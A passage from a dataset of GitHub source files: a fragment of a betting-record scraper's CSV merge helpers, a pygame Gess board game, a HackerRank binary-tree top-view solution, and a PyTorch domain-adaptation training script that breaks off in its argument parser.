\"factor\", \"match\", \"date\", \"stake\"]\n        df_merge = df_saved.merge(df_crawled, on=join_cols, indicator='join', how=\"outer\")\n\n        # create index for newly crawled records\n        index = (df_merge['join'] == \"right_only\")\n        # newly crawled records get the current crawled-dates\n        # all other records - keep their old crawled-date\n        df_merge.loc[index, 'crawled-date_x'] = df_merge.loc[index, 'crawled-date_y']\n        return df_merge \\\n            .rename(columns={\"crawled-date_x\": \"crawled-date\"}) \\\n            .drop(columns=['join', 'crawled-date_y'])\n\n\n# append dataframe to a file. If file doesn't exist it will be added\ndef append_df_to_file(df, filepath):\n    if (len(df) == 0):\n        return False\n    # read already saved data\n    df_saved = None\n    if os.path.exists(filepath):\n        try:\n            df_saved = pd.read_csv(filepath, encoding=\"utf-8\")\n        except (pd.errors.EmptyDataError, OSError):\n            pass\n    df_merge = merge_crawled_saved(df, df_saved)\n    df_merge.to_csv(filepath, index = None, header=True,  encoding='utf-8')\n    return True\n\ndef check_date_month(check_date, year_month):\n    from_date =  datetime.strptime(year_month + '-01', \"%Y-%m-%d\")\n    last_day = calendar.monthrange(from_date.year, from_date.month)[1]\n    to_date = datetime(from_date.year, from_date.month, last_day)\n    check_date_val = datetime.strptime(check_date, \"%d.%m.%Y\")\n    if (check_date_val >= from_date) & (check_date_val <= to_date):\n        return True\n    else:\n        return False\n\n# check if a page corresponds to author+date pair\ndef is_page_consistent(page, author, date_str):\n    # check author\n    if page.find('body', \"author-\"+author) is None:\n        return False\n    # check date\n    for bet in page.find_all('div', \"one-bet\"):\n        #skip tablet and head rows\n        if not(len(set(bet['class']) & set([\"head\", \"tablet-version\"])) == 0):\n            continue\n        else:\n            if not check_date_month(bet.find('div', 'date').string, date_str):\n                return False\n    return True\n","repo_name":"mooromets/check-experts","sub_path":"src/br_scrape.py","file_name":"br_scrape.py","file_ext":"py","file_size_in_byte":7832,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"32694666496","text":"import pygame\nfrom board import Board\nfrom piece import Piece\nfrom stone import Stone\nfrom constants import *\n\n\nclass GessGame:\n    \"\"\"\n    The GessGame class is used to make and play a game of Gess - a Chess/Go variant board game.\n    The game board is stored in a Board object, and managed by the Board class.\n    Game pieces are stored in Piece objects, and manipulated by the Piece, Board, and GessGame classes.\n    GessGame methods for move validation and execution communicate with the Board and Piece classes.\n    GessGame methods for checking the game state or resigning the game do not require communication with other classes.\n    \"\"\"\n\n    def __init__(self, win):\n        \"\"\"\n        Initializes the data members of a GessGame object.\n        board - stored in a Board object.\n        game_state - who, if anyone, won the game\n        whose_turn - player whose turn it is to make a move\n        up_next - player who is not currently authorized to make a move\n        direction - direction of the move being made (list of two integers)\n        distance - distance of the move being made\n        \"\"\"\n        self._board = Board()\n        self._win = win\n        self._game_state = \"UNFINISHED\"\n        self._whose_turn = \"B\"\n        self._up_next = \"W\"\n        self._selected = None\n        self._direction = None\n        self._distance = None\n\n    def update(self):\n        \"\"\"\n        Displays the board in its current state to the user.\n        \"\"\"\n        self._win.fill(BEIGE)  # fill board with background color\n        self.render_font()\n        if self._selected:  # fill selected piece with background color\n            self._win.fill(TAN,\n                           (self._selected[1] * SQUARE_SIZE - SQUARE_SIZE, self._selected[0] * SQUARE_SIZE - SQUARE_SIZE, SQUARE_SIZE * 3, SQUARE_SIZE * 3))\n        for row in range(20):\n            for col in range(20):\n                pygame.draw.rect(self._win,\n                                 BLACK,\n                                 (row * SQUARE_SIZE, col * SQUARE_SIZE, SQUARE_SIZE, SQUARE_SIZE),\n                                 1)\n                if self._board.get_game_board()[row + 1][col + 1] == 'W' or self._board.get_game_board()[row + 1][col + 1] == 'B':\n                    stone = Stone(row, col, self._board.get_game_board()[row + 1][col + 1])\n                    stone.draw(self._win)\n\n        pygame.display.update()\n\n    def render_font(self):\n        \"\"\"\n        Determines the proper text string to render and then renders the proper text string.\n        \"\"\"\n        if self._game_state == \"UNFINISHED\":\n            if self._whose_turn == \"B\":\n                text = \"Black's Turn\"\n            else:\n                text = \"White's Turn\"\n\n        elif self._game_state == \"BLACK_WON\":\n            text = \"Black Won!\"\n\n        else:\n            text = \"White Won!\"\n\n        self._win.fill(TEST,\n                       (0, 20 * SQUARE_SIZE, SQUARE_SIZE * 20, 100))\n        pygame.font.init()\n        font = pygame.font.Font(\"font/ARCADE.TTF\", 72)\n        img = font.render(text, True, BLACK)\n        self._win.blit(img, (5.25 * SQUARE_SIZE, 20.5 * SQUARE_SIZE))\n\n    def select(self, row, col):\n        \"\"\"\n        When a piece is selected, its center position is saved for later use as \"start\" in make_move().\n        On the second click, the piece is moved if the move is valid. Otherwise, the piece is deselected.\n        \"\"\"\n        piece = Piece((row+1, col+1), self._board.get_game_board())\n        if not self._selected:\n            if piece.is_empty():\n                return\n            else:\n                self._selected = row, col\n        else:\n            self.make_move(self._selected, (row, col))\n            self._selected = None\n\n    def get_board(self):\n        \"\"\"\n        :return: the Board object associated with an instance of GessGame object\n        \"\"\"\n        return self._board\n\n    def get_game_state(self):\n        \"\"\"\n        :return: a string indicating which player has won, or that the game is unfinished\n        \"\"\"\n        return self._game_state\n\n    def resign_game(self):\n        \"\"\"\n        Allows a player to concede their demise.\n        Changes the game_state attribute depending on whose turn it is,\n        which is determined from the whose_turn attribute.\n        \"\"\"\n        if self._whose_turn == \"B\":\n            self._game_state = \"WHITE_WON\"\n        else:\n            self._game_state = \"BLACK_WON\"\n\n    def make_move(self, start, end):\n        \"\"\"\n        Makes a move if the move is legal and the game is not unfinished.\n        A move is legal if the center of the piece starts and finishes on the board, the piece has no stones of the\n        opponent, and the direction and distance are valid.\n        Validity of direction of movement is determined by checking the orientation of the footprint of a Piece object.\n        Validity of distance is determined by whether the piece has a center stone and the attempted distance.\n        A move cannot break the mover's own last ring.\n        :param start: the starting coordinate of the piece to be moved (list of two integers)\n        :param end: the ending coordinate of the piece to be moved (list of two integers)\n        :return: True if valid move-request; False if invalid move-request\n        \"\"\"\n        start = [start[0]+1, start[1]+1]\n        end = [end[0]+1, end[1]+1]\n\n        # if the game is over\n        if self._game_state != \"UNFINISHED\":\n            return False\n\n        # if the move is not on the board\n        if start[0] > 19 or start[0] < 1 or start[1] > 20 or start[1] < 1:\n            return False\n        if end[0] > 19 or end[0] < 1 or end[1] > 20 or end[1] < 1:\n            return False\n\n        # if the piece has stones of the opponent\n        check_piece = Piece(start, self._board.get_game_board())\n        if not check_piece.valid_piece(self._up_next):\n            return False\n\n        # if the direction and distance are valid, attempt the move\n        if self.valid_direction(start, end) and self.valid_distance(start, end):\n            return self.board_step(start, end)\n        else:\n            return False\n\n    def valid_direction(self, start, end):\n        \"\"\"\n        Checks whether the direction of a requested move is valid.\n        This is determined by checking the orientation of the footprint of a Piece object.\n        If direction is valid, the direction attribute is set accordingly.\n        Example: an attempted northeastern move would set the direction attribute to [-1, 1].\n        :param start: the starting coordinate of the piece to be moved (list of two integers)\n        :param end: the ending coordinate of the piece to be moved (list of two integers)\n        :return: True if direction of requested move is valid; False if direction of requested move is invalid\n        \"\"\"\n        # make a piece object\n        moving_piece = Piece(start, self._board.get_game_board())\n\n        # is the piece moving southward?\n        if end[0] > start[0]:\n\n            # is the piece moving southeast?\n            if end[1] > start[1]:\n\n                # is the move truly diagonal?\n                if abs(end[0] - start[0]) == abs(end[1] - start[1]):\n\n                    # is there a stone in the SE position of the piece?\n                    if moving_piece.get_piece_SE() == self._whose_turn:\n                        self._direction = [1, 1]  # set the direction of the move\n                        return True\n\n            # repeat of the above for a southwest move\n            elif end[1] < start[1]:\n                if abs(end[0] - start[0]) == abs(end[1] - start[1]):\n                    if moving_piece.get_piece_SW() == self._whose_turn:\n                        self._direction = [1, -1]  # set the direction of the move\n                        return True\n\n            # must be direct south movement if reaches this line\n            else:\n                if moving_piece.get_piece_S() == self._whose_turn:\n                    self._direction = [1, 0]  # set the direction of the move\n                    return True\n\n        # is the piece moving northward?\n        elif end[0] < start[0]:\n\n            # is the piece moving northeast?\n            if end[1] > start[1]:\n\n                # is the move truly diagonal?\n                if abs(end[0] - start[0]) == abs(end[1] - start[1]):\n\n                    # is there a stone in the NE position of the piece?\n                    if moving_piece.get_piece_NE() == self._whose_turn:\n                        self._direction = [-1, 1]  # set the direction of the move\n                        return True\n\n            # repeat of the above for a northwest move\n            elif end[1] < start[1]:\n                if abs(end[0] - start[0]) == abs(end[1] - start[1]):\n                    if moving_piece.get_piece_NW() == self._whose_turn:\n                        self._direction = [-1, -1]  # set the direction of the move\n                        return True\n\n            # must be direct north movement if this line is reached\n            else:\n                if moving_piece.get_piece_N() == self._whose_turn:\n                    self._direction = [-1, 0]  # set the direction of the move\n                    return True\n\n        # direct east movement\n        elif end[0] == start[0] and end[1] > start[1]:\n            if moving_piece.get_piece_E() == self._whose_turn:  # stone in the east position?\n                self._direction = [0, 1]  # set direction of the move\n                return True\n\n        # direct west movement\n        elif end[0] == start[0] and end[1] < start[1]:\n            if moving_piece.get_piece_W() == self._whose_turn:  # stone in the west position?\n                self._direction = [0, -1]  # set direction of the move\n                return True\n\n        return False  # not a valid direction of movement\n\n    def valid_distance(self, start, end):\n        \"\"\"\n        Checks whether the distance of a requested move is valid.\n        This is determined by whether the piece has a center stone and the attempted distance.\n        If the piece has no center stone, only a distance of 3 is allowed.\n        If the piece has a center stone, any distance is allowed.\n        If distance is valid, the distance attribute is set.\n        :param start: the starting coordinate of the piece to be moved (list of two integers)\n        :param end: the ending coordinate of the piece to be moved (list of two integers)\n        :return: True if distance of requested move is valid; False if distance of requested move is invalid\n        \"\"\"\n        # make a piece object\n        moving_piece = Piece(start, self._board.get_game_board())\n\n        # if there is a stone in the center of the piece, any distance is valid\n        if moving_piece.get_piece_center() == self._whose_turn:\n            if end[0] != start[0]:\n                self._distance = abs(end[0] - start[0])  # set distance based on vertical movement\n\n            elif end[1] != start[1]:\n                self._distance = abs(end[1] - start[1])  # set distance based on horizontal movement\n\n            return True\n\n        # if there is no stone in the center of the piece, the move-distance cannot be greater than 3\n        else:\n            if abs(end[0] - start[0]) > 3 or abs(end[1] - start[1] > 3):\n                # the requested move-distance is greater than 3, but no stone in center of piece\n                return False\n\n            if end[0] != start[0]:\n                self._distance = abs(end[0] - start[0])  # set distance based on vertical movement\n            elif end[1] != start[1]:\n                self._distance = abs(end[1] - start[1])  # set distance based on horizontal movement\n\n            return True\n\n    def board_step(self, start, end):\n        \"\"\"\n        This method steps across the board in the direction and distance of the desired move, checking at each step\n        whether the requested move is obstructed. When only one step is left, the piece is added to the board in its\n        final destination, overwriting whatever is there.\n        A spot is checked for obstructions by making piece object and then confirming that the piece is empty.\n        If movement is obstructed, the move is not made.\n        If a the player who made the move broke their own last ring, the board is returned to its previous state.\n        :param start: the starting coordinate of the piece to be moved (list of two integers)\n        :param end: the ending coordinate of the piece to be moved (list of two integers)\n        :return: True if the move was unobstructed and executed; False if the move was obstructed and not executed\n        \"\"\"\n        # make a copy of the piece to be moved and remove it from the board\n        moving_piece = Piece(start, self._board.get_game_board())\n        self._board.remove_piece(start)\n\n        # go in the direction of the move, one step at a time, checking for obstructions at each step\n        moving_coordinate = start[:]\n        while self._distance > 1:\n            # move the coordinate to the next check-position\n            moving_coordinate[0] += self._direction[0]\n            moving_coordinate[1] += self._direction[1]\n\n            check_piece = Piece(moving_coordinate, self._board.get_game_board())\n            if not check_piece.is_empty():  # if the \"piece\" has any stones, then the path of the move is obstructed\n                self._board.add_piece(moving_piece, start)  # return the piece to its starting position\n                return False\n\n            self._distance -= 1\n\n        if self.still_in(self._board, moving_piece):  # if the mover didn't break their own last ring\n            self._board.add_piece(moving_piece, end)  # add the piece, overwriting the contents of the board\n            self._whose_turn, self._up_next = self._up_next, self._whose_turn  # update whose turn it is\n            self.still_in_double_check(self._board)  # update game_state if necessary\n            return True\n\n        else:\n            # return the board to its previous state\n            self._board.add_piece(moving_piece, start)\n\n            return False\n\n    def still_in(self, game_board, moving_piece):\n        \"\"\"\n        Checks if each player is still in the game.\n        This is done by making a piece object at each valid spot on the board and checking for a ring.\n        Changes game_state if the player who made the move breaks the other player's last ring.\n        This version of the function is called before a move is finalized (piece not yet placed in final destination).\n        :param game_board: a board object\n        :return: True if the player who made the move is still in, False otherwise.\n        \"\"\"\n\n        def check_piece(color, moving_piece=None):\n            \"\"\"\n            Makes a temporary piece at each valid spot on the board, checking if the piece is a ring.\n            :param color: color of the player being checked\n            :param moving_piece: saves active player's moving piece so that if it's a ring the function will return True\n            :return: True if the player has a ring; False if the player has no ring\n            \"\"\"\n            if moving_piece and moving_piece.is_ring(color):  # if active player is moving their ring\n                return True\n            for row in range(3, 19):\n                for column in range(3, 19):  # for every square on the board where rings are possible\n                    ring_check = Piece([row, column], game_board.get_game_board())  # make a piece\n                    if ring_check.is_ring(color):  # check if the piece is a ring\n                        return True\n            return False\n\n        if check_piece(self._whose_turn, moving_piece):  # if the move didn't break the mover's own last ring\n            if not check_piece(self._up_next):  # if the move broke the opponent's last ring\n                # change game_state accordingly\n                if self._whose_turn == \"B\":\n                    self._game_state = \"BLACK_WON\"\n                else:\n                    self._game_state = \"WHITE_WON\"\n\n            return True\n\n        else:\n\n            return False\n\n    def still_in_double_check(self, game_board):\n        \"\"\"\n        Checks if each player is still in the game.\n        This is done by making a piece object at each valid spot on the board and checking for a ring.\n        Changes game_state if the player who made the move breaks the other player's last ring.\n        This version of the function is called after a move is finalized (piece placed in final destination).\n        This is because the ring of the opponent won't be broken until the moving piece is finally set.\n        :param game_board: a board object\n        :return: True if the player who made the move is still in, False otherwise.\n        \"\"\"\n\n        def check_piece(color):\n            \"\"\"\n            Makes a temporary piece at each valid spot on the board, checking if the piece is a ring.\n            :param color: color of the player being checked\n            :return: True if the player has a ring; False if the player has no ring\n            \"\"\"\n            for row in range(3, 19):\n                for column in range(3, 19):  # for every square on the board where rings are possible\n                    ring_check = Piece([row, column], game_board.get_game_board())  # make a piece\n                    if ring_check.is_ring(color):  # check if the piece is a ring\n                        return True\n            return False\n\n        if check_piece(self._up_next):  # if the move didn't break the mover's own last ring\n            if not check_piece(self._whose_turn):  # if the move broke the opponent's last ring\n                # change game_state accordingly\n                if self._whose_turn == \"W\":\n                    self._game_state = \"BLACK_WON\"\n                else:\n                    self._game_state = \"WHITE_WON\"\n\n            return True\n\n        else:\n\n            return False\n","repo_name":"phoenixaustin81/Gess-Game-Interactive","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":17958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18402898339","text":"# class Node:\n#     def __init__(self, info): \n#         self.info = info  \n#         self.left = None  \n#         self.right = None \n#         self.level = None \n\n#     def __str__(self):\n#         return str(self.info) \n\n# class BinarySearchTree:\n#     def __init__(self): \n#         self.root = None\n\n#     def create(self, val):  \n#         if self.root == None:\n#             self.root = Node(val)\n#         else:\n#             current = self.root\n         \n#             while True:\n#                 if val < current.info:\n#                     if current.left:\n#                         current = current.left\n#                     else:\n#                         current.left = Node(val)\n#                         break\n#                 elif val > current.info:\n#                     if current.right:\n#                         current = current.right\n#                     else:\n#                         current.right = Node(val)\n#                         break\n#                 else:\n#                     break\n\n\"\"\"\nNode is defined as\nself.left (the left child of the node)\nself.right (the right child of the node)\nself.info (the value of the node)\n\"\"\"\nimport collections\ndef topView(root):\n    #some codes are copied and pasted from level order traversal\n    if root is None:\n        return\n    queue = [root]\n\n    #key is horizontalDist and value is list of node info\n    m = {}\n    #key is node and value is horizontalDist\n    hd_nodes = {}\n\n    m[0] = [root.info]\n    hd_nodes[root] = 0\n\n    while queue:\n        temp=queue.pop(0)\n        if temp.left:\n            queue.append(temp.left)\n            hd_nodes[temp.left]=hd_nodes[temp]-1\n            horiDist=hd_nodes[temp.left]\n            if m.get(horiDist) is None:\n                m[horiDist] = []\n            m[horiDist].append(temp.left.info)\n\n        if temp.right:\n            queue.append(temp.right)\n            hd_nodes[temp.right]=hd_nodes[temp]+1\n            horiDist=hd_nodes[temp.right]\n            if m.get(horiDist) is None:\n                m[horiDist] = []\n            m[horiDist].append(temp.right.info)\n\n    ordered_m = collections.OrderedDict(sorted(m.items()))\n    # print(ordered_m)\n    # print('\\n\\n')\n    for item in ordered_m.values():\n        print(item[0],end=\" \")\n\n\n# tree = BinarySearchTree()\n# t = int(input())\n\n# arr = list(map(int, input().split()))\n\n# for i in range(t):\n#     tree.create(arr[i])\n\n# topView(tree.root)","repo_name":"afzalsiddique/problem-solving","sub_path":"Hackerrank/Data Structure/03. Trees/Tree Top View.py","file_name":"Tree Top View.py","file_ext":"py","file_size_in_byte":2421,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"73904647732","text":"import argparse\nimport copy\nimport os\nimport random\nimport numpy as np\nimport torch\nimport tqdm\nfrom torch.utils.data import DataLoader, WeightedRandomSampler\nfrom torchvision import transforms\nimport data_list\nimport get_weight_net\nimport loss\nimport lr_schedule\nimport network\nimport utils\nfrom utils import get_features\n\n\ndef image_train(resize_size=256, crop_size=224):\n    return transforms.Compose([\n        transforms.Resize((resize_size, resize_size)),\n        transforms.RandomCrop(crop_size),\n        transforms.RandomHorizontalFlip(),\n        transforms.ToTensor(),\n        transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n    ])\n\ndef image_test_ten(resize_size=256, crop_size=224,tencrop=False):\n    normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406],\n                               std=[0.229, 0.224, 0.225])\n    return transforms.Compose([\n            transforms.Resize((resize_size,resize_size)),\n            transforms.TenCrop(crop_size),\n            transforms.Lambda(lambda crops: torch.stack([transforms.ToTensor()(crop) for crop in crops])),\n            transforms.Lambda(lambda crops: torch.stack([normalize(crop) for crop in crops])),]\n            )\n\n\ndef image_test(resize_size=256, crop_size=224):\n    return transforms.Compose([\n        transforms.Resize((resize_size, resize_size)),\n        transforms.CenterCrop(crop_size),\n        transforms.ToTensor(),\n        transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n    ])\n\n\ndef train(args):\n    ## prepare data\n    train_bs, test_bs = args.batch_size, args.batch_size * 2\n\n    if args.sampler == \"subset_sampler\":\n        source_base_dataset_train = data_list.ImageList(open(args.s_dset_path).readlines(),\n                                                        transform=image_train(), root=args.root)\n        source_base_dataset_test = data_list.ImageList(open(args.s_dset_path).readlines(),\n                                                       transform=image_test(), root=args.root)\n\n    dsets = {}\n    dsets[\"source\"] = data_list.ImageList(open(args.s_dset_path).readlines(), transform=image_train(),return_index=True,root=args.root)\n    dsets[\"target\"] = data_list.ImageList(open(args.t_dset_path).readlines(), transform=image_train(),return_index=True,root=args.root)\n    dsets[\"test\"] = data_list.ImageList(open(args.t_dset_path).readlines(), transform=image_test(),root=args.root)\n    dsets[\"source_val\"] = data_list.ImageList(open(args.s_dset_path).readlines(), transform=image_test(),root=args.root)\n    dsets[\"test_ten\"] = data_list.ImageList(open(args.t_dset_path).readlines(), transform=image_test_ten(), root=args.root)\n\n    dset_loaders = {}\n    dset_loaders[\"source\"] = DataLoader(dsets[\"source\"], batch_size=train_bs, shuffle=True,\n                                        num_workers=args.worker,\n                                        drop_last=True)\n    dset_loaders[\"target\"] = DataLoader(dsets[\"target\"], batch_size=train_bs, shuffle=True, num_workers=args.worker,\n                                        drop_last=True)\n    dset_loaders[\"test\"] = DataLoader(dsets[\"test\"], batch_size=test_bs, shuffle=False, num_workers=args.worker)\n    dset_loaders[\"source_val\"] = DataLoader(dsets[\"source_val\"], batch_size=test_bs, shuffle=False, num_workers=args.worker)\n    dset_loaders[\"test_ten\"] = DataLoader(dsets[\"test_ten\"], batch_size=10, shuffle=False, num_workers=args.worker)\n\n    ## prepare model\n    if \"ResNet\" in args.net:\n        params = {\"resnet_name\": args.net, \"bottleneck_dim\": args.bottleneck_dim,\n                  'class_num': args.class_num,\"radius\":args.radius,\"normalize_classifier\":args.normalize_classifier}\n        base_network = network.ResNetFc(**params)\n\n    base_network = base_network.cuda()\n\n    ## initialize classification layer by pca\n    from pca_init_head import init_head\n    base_network.train(False)\n    if args.sampler == \"subset_sampler\":\n        indexes = np.random.permutation(len(source_base_dataset_test))[:train_bs * 2000]\n        dsets[\"source_val\"] = data_list.SubDataset(source_base_dataset_test, indexes)\n        dset_loaders[\"source_val\"] = DataLoader(dsets[\"source_val\"], batch_size=test_bs, shuffle=False,\n                                                num_workers=args.worker)\n    init_head(base_network,dset_loaders[\"source_val\"],dset_loaders[\"test\"],pretrain_head=False)\n\n    parameter_list = base_network.get_parameters()\n\n    ## set optimizer\n    optimizer_config = {\"type\": torch.optim.SGD, \"optim_params\":\n        {'lr': args.lr, \"momentum\": 0.9, \"weight_decay\": 5e-4, \"nesterov\": True},\n                        \"lr_type\": \"inv\", \"lr_param\": {\"lr\": args.lr, \"gamma\": args.gamma, \"power\": 0.75}\n                        }\n    optimizer = optimizer_config[\"type\"](parameter_list, **(optimizer_config[\"optim_params\"]))\n\n    param_lr = []\n    for param_group in optimizer.param_groups:\n        param_lr.append(param_group[\"lr\"])\n    schedule_param = optimizer_config[\"lr_param\"]\n    lr_scheduler = lr_schedule.schedule_dict[optimizer_config[\"lr_type\"]]\n\n    best_acc = 0\n    weight_learner = get_weight_net.WeightLearner(input_dim=args.bottleneck_dim)\n\n    #################################################################################################################\n    ## building feature bank and score bank\n    loader = dset_loaders[\"test\"]\n    num_sample = len(loader.dataset)\n    fea_bank = torch.randn(num_sample, base_network.bottleneck.in_features)\n    score_bank = torch.randn(num_sample, args.class_num).cuda()\n\n    base_network.eval()\n    with torch.no_grad():\n        print(\"Building feature bank...\")\n        iter_test = iter(loader)\n        for i in tqdm.trange(len(loader)):\n            data = iter_test.__next__()\n            inputs = data[0]\n            indx = data[-1]\n            inputs = inputs.cuda()\n            feature, _, output = base_network(inputs.cuda())\n            output_norm = torch.nn.functional.normalize(feature)\n            outputs = torch.nn.Softmax(-1)(output)\n            fea_bank[indx] = output_norm.detach().clone().cpu()\n            score_bank[indx] = outputs.detach().clone()  # .cpu()\n    #################################################################################################################\n\n    print(\"Training begins.\")\n    for i in range(args.max_iterations + 1):\n        base_network.train(True)\n        optimizer = lr_scheduler(optimizer, i, **schedule_param)\n        ## test\n        if (i % args.test_interval == 0 and i > 0) or (i == args.max_iterations):\n            base_network.train(False)\n            temp_acc, pseudo_labels = utils.image_classification_test(dset_loaders, base_network,tencrop=False,\n                                                                      per_class=True if args.dset==\"visda-2017\" else False,\n                                                                      log_file=args.out_file if args.dset==\"visda-2017\" else None)\n            if best_acc < temp_acc:\n                best_acc = temp_acc\n                best_model = base_network.state_dict()\n            log_str = \"\\n {} iter: {:05d}, precision: {:.5f}, best_acc: {:.5f} \\n\".format(args.name,i, temp_acc, best_acc)\n            args.out_file.write(log_str + \"\\n\")\n            args.out_file.flush()\n            print(log_str)\n\n        ## update weight, loader\n        if args.sampler == \"weighted_sampler\":\n            if i % args.weight_update_interval == 0 and i>0:\n                base_network.train(False)\n                all_source_features, _, _ = get_features(dset_loaders[\"source_val\"], base_network)\n                all_target_features, _, _ = get_features(dset_loaders[\"test\"], base_network)\n                if len(all_source_features) >=20000:\n                    weights = weight_learner.get_weight_large(all_source_features, all_target_features, args.rho)\n                else:\n                    weights = weight_learner.get_weight(all_source_features, all_target_features, args.rho)\n                weights = torch.Tensor(weights[:])\n                dset_loaders[\"source\"] = DataLoader(dsets[\"source\"], batch_size=train_bs,\n                                                    sampler=WeightedRandomSampler(weights, num_samples=len(weights),\n                                                                                  replacement=True),\n                                                    num_workers=args.worker, drop_last=True)\n        if args.sampler == \"subset_sampler\":\n            if i % args.weight_update_interval == 0 and i > 0:\n                indexes = np.random.permutation(len(source_base_dataset_test))[:train_bs * 2000]\n                dsets[\"source\"] = data_list.SubDataset(source_base_dataset_train, indexes)\n                dsets[\"source_val\"] = data_list.SubDataset(source_base_dataset_test, indexes)\n                dset_loaders[\"source_val\"] = DataLoader(dsets[\"source_val\"], batch_size=test_bs, shuffle=False,\n                                                        num_workers=args.worker)\n                base_network.train(False)\n                all_source_features, _, _ = get_features(dset_loaders[\"source_val\"], base_network)\n                all_target_features, _, _ = get_features(dset_loaders[\"test\"], base_network)\n                weights = weight_learner.get_weight(all_source_features, all_target_features,args.rho)\n                weights = torch.Tensor(weights[:])\n                dset_loaders[\"source\"] = DataLoader(dsets[\"source\"], batch_size=train_bs,\n                                                    sampler=WeightedRandomSampler(weights, num_samples=len(weights),\n                                                                                  replacement=True),\n                                                    num_workers=args.worker, drop_last=True)\n        if args.sampler == \"uniform_sampler\":\n            if i == 0:\n                weights = torch.ones(len(dsets[\"source_val\"]))\n            elif i % args.weight_update_interval == 0:\n                base_network.train(False)\n                all_source_features, _, _ = get_features(dset_loaders[\"source_val\"], base_network)\n                all_target_features, _, _ = get_features(dset_loaders[\"test\"], base_network)\n                weights = weight_learner.get_weight(all_source_features, all_target_features, args.rho)\n                weights = torch.Tensor(weights[:])\n\n        if i % len(dset_loaders[\"source\"]) == 0:\n            iter_source = iter(dset_loaders[\"source\"])\n        if i % len(dset_loaders[\"target\"]) == 0:\n            iter_target = iter(dset_loaders[\"target\"])\n\n        ## forward\n        inputs_source, labels_source,ids_source = iter_source.__next__()\n        inputs_target, _,ids_target = iter_target.__next__()\n        inputs_source, inputs_target, labels_source = inputs_source.cuda(), inputs_target.cuda(), labels_source.cuda()\n\n        _,_, outputs_source = base_network(inputs_source)\n        features_target_low,features_target, _ = base_network(inputs_target)\n\n        ##source (smoothed) cross entropy loss\n        if args.sampler == \"weighted_sampler\" or args.sampler == \"subset_sampler\":\n            src_loss = loss.weighted_smooth_cross_entropy(outputs_source, labels_source)\n        else:\n            weight = weights[ids_source].cuda()\n            src_loss = loss.weighted_smooth_cross_entropy(outputs_source, labels_source, weight)\n\n        ##target loss\n        fc = copy.deepcopy(base_network.fc)\n        for param in fc.parameters():\n            param.requires_grad = False\n        softmax_tar_out = torch.nn.Softmax(dim=1)(fc(features_target))\n        tar_entropy_loss = torch.mean(loss.entropy(softmax_tar_out))\n        tar_alpha_power_loss = torch.mean(loss.lp_loss(softmax_tar_out,p=args.p))\n        total_loss = src_loss\n\n        ################################################################################################################\n        ## local consistency loss\n        with torch.no_grad():\n            args.K = 4\n            args.KK = 3\n            if args.dset == \"visda-2017\":\n                args.K = args.KK = 5\n            features_test = features_target_low\n            softmax_out = softmax_tar_out\n            output_f_norm = torch.nn.functional.normalize(features_test)\n            output_f_ = output_f_norm.cpu().detach().clone()\n\n            fea_bank[ids_target] = output_f_.detach().clone().cpu()\n            score_bank[ids_target] = softmax_out.detach().clone()\n\n            distance = output_f_ @ fea_bank.T\n            _, idx_near = torch.topk(distance,\n                                        dim=-1,\n                                        largest=True,\n                                        k=args.K + 1)\n            idx_near = idx_near[:, 1:]  # batch x K\n\n            fea_near = fea_bank[idx_near]  # batch x K x num_dim\n            fea_bank_re = fea_bank.unsqueeze(0).expand(fea_near.shape[0], -1, -1)  # batch x n x dim\n            distance_ = torch.bmm(fea_near, fea_bank_re.permute(0, 2, 1))  # batch x K x n\n            _, idx_near_near = torch.topk(distance_, dim=-1, largest=True,\n                                            k=args.KK + 1)  # M near neighbors for each of above K ones\n            idx_near_near = idx_near_near[:, :, 1:]  # batch x K x M\n            tar_idx_ = ids_source.unsqueeze(-1).unsqueeze(-1)\n            match = (\n                    idx_near_near == tar_idx_).sum(-1).float()  # batch x K\n            weight = torch.where(\n                match > 0., match,\n                torch.ones_like(match).fill_(0.1))  # batch x K\n\n            weight_kk = weight.unsqueeze(-1).expand(-1, -1,\n                                                    args.KK)  # batch x K x M\n            weight_kk = weight_kk.fill_(0.1)\n\n            score_near_kk = score_bank[idx_near_near]  # batch x K x M x C\n            weight_kk = weight_kk.contiguous().view(weight_kk.shape[0],\n                                                    -1)  # batch x KM\n\n            score_near_kk = score_near_kk.contiguous().view(score_near_kk.shape[0], -1,\n                                                            args.class_num)  # batch x KM x C\n\n        # nn of nn\n        output_re = softmax_out.unsqueeze(1).expand(-1, args.K * args.KK,\n                                                    -1)  # batch x C x 1\n        const = torch.mean(\n            (torch.nn.functional.kl_div(output_re, score_near_kk, reduction='none').sum(-1) *\n                weight_kk.cuda()).sum(\n                1))  # kl_div here equals to dot product since we do not use log for score_near_kk\n        con_loss = torch.mean(const)\n        ################################################################################################################\n\n        if i>args.start_adapt:\n            total_loss = total_loss - args.lp_weight*tar_alpha_power_loss\n            total_loss += args.con_weight * con_loss\n\n        optimizer.zero_grad()\n        total_loss.backward()\n        optimizer.step()\n\n        print(\"step:{:d} \\t src_loss:{:.4f} \\t tar_loss:{:.4f}\"\n              \"\".format(i,src_loss.item(),tar_entropy_loss.item()))\n\n    torch.save(best_model, os.path.join(args.output_dir, \"best_model.pt\"))\n\n    log_str = 'Acc: ' + str(np.round(best_acc * 100, 2)) + '\\n'\n    args.out_file.write(log_str)\n    args.out_file.flush()\n    print(log_str)\n\n    return best_acc\n\nif __name__ == \"__main__\":\n\n    parser = argparse.ArgumentParser(description='Adversarial Reweighting for Partial Domain Adaptation')\n    parser.add_argument('--gpu_id', type=str, nargs='?', default='0', help=\"device id to run\")\n    parser.add_argument('--s', type=int, default=0, help=\"source\")\n    parser.add_argument('--t', type=int, default=1, help=\"target\")\n    parser.add_argument('--seed', type=int, default=2023, help=\"random seed\")\n    parser.add_argument('--batch_size', type=int, default=64, help=\"batch_size\")\n    parser.add_argument('--net', type=str, default='ResNet50', choices=[\"ResNet50\"])\n    parser.add_argument('--dset', type=str, default='visda-2017',\n                        choices=[\"office\", \"office_home\", \"imagenet_caltech\", \"domainnet\",\"visda-2017\"])\n    parser.add_argument('--root', type=str, 